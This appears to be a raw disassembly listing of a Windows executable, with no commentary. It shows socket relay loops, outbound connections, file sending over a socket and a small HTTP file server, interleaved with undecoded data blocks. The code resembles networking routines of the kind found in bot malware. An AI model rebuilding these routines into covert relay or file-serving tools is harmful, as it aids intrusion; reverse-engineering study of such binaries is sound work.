		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431AD0[eax]
		push	ebx
		lea	eax, dword_431AD0[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE364
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE360
		nop
		call	near ptr 28A0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE354
		nop
		call	near ptr 28B0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE364
		call	dword_4CB674
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 2415FFFFh, 6A004CB6h, 26A5606h, 0CA458966h, 0B6A415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CB650h
		dd 75FF056Ah, 4C15FF08h, 8B004CB6h, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B6B815FFh, 64A3004Ch, 8D004CE3h
		dd 5057F445h, 4CE36068h, 0E35C6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004CE3h
		dd 4CE354h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h
		dd 83004CE3h, 45890CC4h, 0E358A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 1F66E890h, 0FF50024Bh, 4CE35835h, 59E89000h,	50024B1Fh
		dd 19E6E890h, 458D024Bh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433BCCh, 51E89057h, 8D023F22h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	411FB5E8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F9CE890h, 0FF6A0241h, 0FFF04589h, 0E890D875h, 24220D7h
		dd 0F075FF57h, 197AE890h, 0FF570243h, 0E890EC75h, 2431970h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 24A2306h
		dd 0E35C35FFh, 0D6FF004Ch, 0E36035FFh, 0D6FF004Ch, 0E35435FFh
		dd 0D6FF004Ch, 0E35835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CE36C, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 2415FFFFh, 53004CB6h, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CB6A4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 4721E8E8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0E56CB889h
		dd 458D0043h, 0FF5750ECh, 4CB65015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CB5B8h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 472168E8h, 0FE689002h, 530000FFh, 9E63E8h, 6CA35900h
		dd 59004CE3h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CB65015h
		dd 75C63B00h, 0B815FF54h, 33004CB5h, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 24720EDh, 57056A90h, 0B64C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB6B8h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 3C15FF08h, 83004CB6h, 9674FFF8h
		dd 35FF5656h, 4CB360h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 3BD46850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0B67415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CE37405h, 0FF38E900h, 0FF57FFFFh, 4CB6BC15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 471FECE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0B360A166h, 6583004Ch, 665000B8h, 2B445C7h, 2415FF00h
		dd 66004CB6h, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 9C68156Ah, 5000433Eh, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 9468FFFFh, 5000433Eh, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 433E8Ch, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 433E7468h, 82E900h, 858D0000h, 0FFFFFF50h, 433E6C68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 433E5468h
		dd 8D61EB00h, 0FFFF5085h, 3E4C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 3E3C680Dh, 40EB0043h, 0FF50858Dh
		dd 3468FFFFh, 5000433Eh, 0D40BE8h, 0C0855900h, 560A7559h
		dd 2068106Ah, 0EB00433Eh, 50858D1Fh, 68FFFFFFh,	433E1Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433DFCh
		dd 2F1E957h, 0F4BF0000h, 8D00433Dh, 0FFFF5085h,	0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 433DF068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	433DDC68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433DD8h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433DC4h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433DBCh, 0D352E850h, 85590000h, 347559C0h
		dd 90BE0A6Ah, 5900433Dh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 8868FFFFh
		dd 5000433Dh, 0D307E8h,	0C0855900h, 6A2A7559h, 3D70BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 433D68h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 433D4068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 433D3868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 433D2Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 433D0C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 433D0468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 433CD868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 433CBCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 3CA46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 3C8468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CE130h, 562EEB59h, 6068206Ah, 0EB00433Ch
		dd 50858D1Fh, 68FFFFFFh, 42D050h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433C44h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE378, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE378
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CE378
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2810000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE378
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2820566h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE378
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB624
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E56C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CB64C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB60C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB510
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB6BC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42D0F0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433EDC ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6C0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB6BC


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EB4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
